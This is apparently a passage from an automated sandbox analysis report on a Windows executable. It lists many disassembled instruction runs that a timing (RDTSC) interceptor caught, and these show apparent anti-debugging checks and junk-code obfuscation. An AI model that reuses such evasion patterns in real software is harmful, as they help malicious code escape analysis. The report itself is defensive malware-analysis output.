Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7ED7 second address: 11F7EDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7EDB second address: 11F7F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80E07D7Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F4C80E07D78h 0x00000013 pushad 0x00000014 jp 00007F4C80E07D76h 0x0000001a jo 00007F4C80E07D76h 0x00000020 jmp 00007F4C80E07D82h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7F16 second address: 11F7F2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4C80DFF19Fh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7F2B second address: 11F7F2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F7F2F second address: 11F7F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F8219 second address: 11F821D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F835A second address: 11F835E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F835E second address: 11F8379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4C80E07D83h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F84A5 second address: 11F84BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80DFF1A5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F84BF second address: 11F84C9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4C80E07D88h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F863C second address: 11F8651 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4C80DFF196h 0x00000008 jg 00007F4C80DFF196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F879C second address: 11F87A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB40F second address: 11FB414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB414 second address: 11FB4A7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4C80E07D7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d sbb dx, E2B2h 0x00000012 push 00000000h 0x00000014 adc dx, 491Fh 0x00000019 push 340B516Eh 0x0000001e jmp 00007F4C80E07D7Ah 0x00000023 xor dword ptr [esp], 340B51EEh 0x0000002a sbb esi, 18721C26h 0x00000030 push 00000003h 0x00000032 mov dword ptr [ebp+122D2092h], edi 0x00000038 push 00000000h 0x0000003a jmp 00007F4C80E07D7Ah 0x0000003f sbb di, 7A34h 0x00000044 push 00000003h 0x00000046 jmp 00007F4C80E07D85h 0x0000004b push DD4FA44Dh 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 jmp 00007F4C80E07D89h 0x00000058 je 00007F4C80E07D76h 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB558 second address: 11FB563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F4C80DFF196h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB563 second address: 11FB588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c jmp 00007F4C80E07D7Bh 0x00000011 call 00007F4C80E07D79h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB588 second address: 11FB596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F4C80DFF196h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB596 second address: 11FB5AB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4C80E07D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F4C80E07D76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB5AB second address: 11FB60F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF19Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4C80DFF19Fh 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jc 00007F4C80DFF19Eh 0x00000019 jng 00007F4C80DFF198h 0x0000001f mov eax, dword ptr [eax] 0x00000021 jno 00007F4C80DFF1A0h 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jc 00007F4C80DFF1ABh 0x00000033 jmp 00007F4C80DFF1A5h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB60F second address: 11FB667 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4C80E07D84h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push esi 0x0000000c mov edi, dword ptr [ebp+122D2BADh] 0x00000012 pop edi 0x00000013 push 00000003h 0x00000015 mov edx, 7504341Dh 0x0000001a mov dword ptr [ebp+122D1B20h], ecx 0x00000020 push 00000000h 0x00000022 sbb si, D6C2h 0x00000027 push 00000003h 0x00000029 xor di, F395h 0x0000002e or edi, 29A24D50h 0x00000034 call 00007F4C80E07D79h 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F4C80E07D7Ah 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB667 second address: 11FB66B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB66B second address: 11FB675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB675 second address: 11FB68D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4C80DFF196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jnl 00007F4C80DFF196h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB68D second address: 11FB72F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4C80E07D87h 0x00000008 jmp 00007F4C80E07D89h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007F4C80E07D7Dh 0x00000019 mov eax, dword ptr [eax] 0x0000001b je 00007F4C80E07D8Bh 0x00000021 pushad 0x00000022 jmp 00007F4C80E07D81h 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e push eax 0x0000002f jnl 00007F4C80E07D7Ch 0x00000035 pop eax 0x00000036 pop eax 0x00000037 lea ebx, dword ptr [ebp+1244D2E7h] 0x0000003d mov dword ptr [ebp+122D1B27h], edi 0x00000043 xchg eax, ebx 0x00000044 jns 00007F4C80E07D7Ch 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push edx 0x0000004e jmp 00007F4C80E07D7Dh 0x00000053 pop edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB72F second address: 11FB739 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4C80DFF19Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB780 second address: 11FB7C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D86h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4C80E07D7Fh 0x0000000e popad 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D1B27h], ebx 0x00000016 push 00000000h 0x00000018 mov cx, 8813h 0x0000001c push 265927CAh 0x00000021 jc 00007F4C80E07D84h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB7C6 second address: 11FB7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB7CA second address: 11FB860 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 2659274Ah 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F4C80E07D78h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 call 00007F4C80E07D7Ch 0x0000002c jmp 00007F4C80E07D85h 0x00000031 pop esi 0x00000032 push 00000003h 0x00000034 sbb esi, 3D687145h 0x0000003a push 00000000h 0x0000003c mov edx, dword ptr [ebp+122D2CE9h] 0x00000042 push 00000003h 0x00000044 jmp 00007F4C80E07D87h 0x00000049 push 963D2F00h 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F4C80E07D86h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121BB36 second address: 121BB46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F4C80DFF196h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219A56 second address: 1219A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80E07D88h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219CE3 second address: 1219D0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jmp 00007F4C80DFF19Ah 0x0000000c jmp 00007F4C80DFF1A0h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219E6F second address: 1219E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1219FF0 second address: 121A039 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4C80DFF196h 0x00000008 ja 00007F4C80DFF196h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F4C80DFF19Fh 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 ja 00007F4C80DFF196h 0x0000001e jmp 00007F4C80DFF1A7h 0x00000023 popad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push ecx 0x0000002a pop ecx 0x0000002b push ecx 0x0000002c pop ecx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A039 second address: 121A043 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4C80E07D76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A043 second address: 121A049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A049 second address: 121A053 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4C80E07D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A4C3 second address: 121A4E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80DFF1A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jo 00007F4C80DFF196h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121A619 second address: 121A623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4C80E07D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B37B second address: 121B38F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F4C80DFF196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007F4C80DFF19Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B38F second address: 121B39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B39C second address: 121B3A6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4C80DFF196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B3A6 second address: 121B3AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B50F second address: 121B527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F4C80DFF19Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B696 second address: 121B6BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F4C80E07D80h 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F4C80E07D7Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B6BA second address: 121B6BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B95C second address: 121B960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B960 second address: 121B966 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121B966 second address: 121B9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F4C80E07D7Ch 0x0000000c pushad 0x0000000d je 00007F4C80E07D76h 0x00000013 jnl 00007F4C80E07D76h 0x00000019 jmp 00007F4C80E07D86h 0x0000001e jo 00007F4C80E07D76h 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jnl 00007F4C80E07D76h 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12203CD second address: 12203DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jl 00007F4C80DFF196h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12203DB second address: 12203EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jg 00007F4C80E07D76h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F3B1 second address: 121F3B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121F3B7 second address: 121F3BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12204A5 second address: 12204BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4C80DFF1A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226DE7 second address: 1226DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226DEB second address: 1226DEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F123E second address: 11F1246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1246 second address: 11F1252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4C80DFF196h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1252 second address: 11F125B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122626E second address: 12262AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4C80DFF1A7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007F4C80DFF196h 0x00000012 jmp 00007F4C80DFF1A8h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122650F second address: 1226536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F4C80E07D7Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122668A second address: 122668E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122668E second address: 12266A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4C80E07D87h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12266A9 second address: 12266AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226C8C second address: 1226C92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226C92 second address: 1226C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226C98 second address: 1226C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226C9C second address: 1226CA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12284FA second address: 1228500 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AB38 second address: 122AB41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AD32 second address: 122AD46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F4C80E07D76h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122AD46 second address: 122AD4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B0AF second address: 122B0B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B1D6 second address: 122B1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B77D second address: 122B781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122B922 second address: 122B92C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BD22 second address: 122BD33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4C80E07D7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BDA7 second address: 122BDAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BDAC second address: 122BDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4C80E07D7Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e je 00007F4C80E07D7Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BDCA second address: 122BDD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jns 00007F4C80DFF196h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BDD6 second address: 122BDDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BDDA second address: 122BE10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F4C80DFF198h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov esi, edx 0x00000024 xchg eax, ebx 0x00000025 push edi 0x00000026 push eax 0x00000027 push edx 0x00000028 jnc 00007F4C80DFF196h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BE10 second address: 122BE22 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 je 00007F4C80E07D84h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122BE22 second address: 122BE26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122C32F second address: 122C343 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F4C80E07D76h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CF27 second address: 122CF2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
